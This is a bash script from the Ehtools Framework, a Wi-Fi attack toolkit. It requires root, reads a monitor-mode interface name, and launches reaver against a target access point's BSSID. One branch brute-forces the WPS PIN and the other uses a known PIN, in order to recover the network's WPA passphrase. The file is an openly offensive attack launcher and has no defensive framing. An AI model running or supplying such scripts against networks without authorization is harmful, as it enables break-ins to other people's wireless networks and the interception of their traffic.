#!/bin/bash

#            ---------------------------------------------------
#                             Ehtools Framework          
#            ---------------------------------------------------
#                Copyright (C) <2018-2020>  <Entynetproject>   
#
#        This program is free software: you can redistribute it and/or modify
#        it under the terms of the GNU General Public License as published by
#        the Free Software Foundation, either version 3 of the License, or
#        any later version.
#
#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#        GNU General Public License for more details.
#
#        You should have received a copy of the GNU General Public License
#        along with this program.  If not, see <http://www.gnu.org/licenses/>.

CE="\033[0m"
RS="\033[1;31m"
YS="\033[1;33m"

if [[ $EUID -ne 0 ]]
then
   sleep 1
   echo -e "["$RS"*"$CE"] "$RS"This script must be run as root!"$CE"" 1>&2
   sleep 1
   exit
fi

#############DEFAULTS###############
#setting yellow-start 
YS="\033[1;33m"
#setting color-end
CE="\033[0m"
#setting red-start
RS="\033[1;31m"
#setting frequent stings
YNYES="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=yes)"
YNNO="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=no)"
YNONLY="("$YS"y"$CE"/"$YS"n"$CE")"
PAKT="Press "$YS"any key$CE to"
PAKTC="Press "$YS"any key$CE to continue..."
PAKTGB="Press "$YS"any key$CE to go back..."

####################################
printf '\033]2;REAVER\a' &&
WLANNM=$(cat /root/ehtools/wlanmon.txt)
export WLANNM
if [[ "$GLV" = "2" ]]
then
	echo -e "Please note that you need a very good signal for this to work."
	sleep 3
	echo -e "Starting..."
	sleep 1
	clear
	reaver -i $WLANNM -b $BSSIDT -d $DELT -S -N -c $CHANT -vv 
	echo -e "$PAKTC" 
	read
elif [[ "$GLV" = "3" ]]
then
	reaver -i $WLANNM -b $BSSIDT -p $WPST -vv
	echo -e "$PAKTC"
	read

fi
